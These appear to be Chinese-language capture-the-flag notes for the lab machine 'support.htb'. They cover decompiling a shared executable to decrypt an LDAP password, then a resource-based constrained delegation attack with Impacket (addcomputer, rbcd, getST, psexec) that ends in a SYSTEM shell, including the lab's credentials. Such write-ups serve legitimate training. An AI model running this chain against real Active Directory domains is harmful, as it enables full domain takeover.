获取普通用户
端口扫描
smbclient -L //[target] 枚举smb端口
尝试rpc匿名登入失败
看到了dc主机是dc.
dnspy打开共享文件夹的userinfo.exe
成功找到密码
找到了加密的密钥
{
Protected.enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E" ;
Protected.key = Encoding.ASCII.GetBytes( "armando" );
}
利用这段代码解密
public static string getPassword()
{
byte[] array = Convert.FromBase64String(Protected.enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
}
return Encoding.Default.GetString(array2);
}
解密密码:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
但是用evil-winrm解密失败
因为上面说是ldap用户的试试枚举ldap
ldapsearch -x -H ldap://support.htb -D'support \ldap'- w'nvEfEK16 ^1aM4$e7AclUf8x$tRWxPWO1%lmz'- b'CN =Users,DC=support,DC=htb' | tee ldapsearch.log
成功登入
提权
上传sharphound,使用bloodhound
support用户是“SHARED SUPPORT ACCOUNTS@SUPPORT.HTB ”域组的成员,该域组对 DC 具有 GenericAll 权限。完全控制,此特权允许受托人随心所欲地操纵目标对象
基于资源的约束委派
如果攻击者不控制具有 SPN 设置的帐户,则可以使用 Impacket 的 addcomputer.py 示例脚本添加新的攻击者控制的计算机帐户
addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host
$DomainController -domain-netbios $DOMAIN 'domain/user:password'
参数中使用的变量 $DomainController
和 $DOMAIN
在执行脚本之前应被替换为实际的域控制器地址和域名。
python3 addcomputer.py -computer-name 'evilcom$' -computer-pass password -dc-ip 10.10.11.174 support/support:Ironside47pleasure40Watchful
我们现在需要配置目标对象,以便攻击者控制的计算机可以委托给它。 Impacket 的 rbcd.py 脚本可用于此目的:
./rbcd.py -f EVILCOM -t DC -dc-ip 10.10.11.174 support\\support:Ironside47pleasure40Watchful
最后,我们可以获得我们想要“假装”为“admin”的服务名称(sname)的服务票证。
python3 getST.py -spn cifs/DC.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support/EVILCOM$:password
我们使用 Administrator.ccache 文件的路径更新 KRB5CCNAME 环境变量,并运行 klist 命令来验证服务票证是否已加载。我们将 DC 的 FQDN 添加到主机文件 (/etc/hosts) 中,并使用 impacket-psexec 和 Kerberos 身份验证来获取目标上的 SYSTEM shell。
export KRB5CCNAME=`pwd`/Administrator.ccache
python3 psexec.py -k DC.support.htb
文章在这
Kerberos Resource-based Constrained Delegation: Computer Object Takeover | Red Team Notes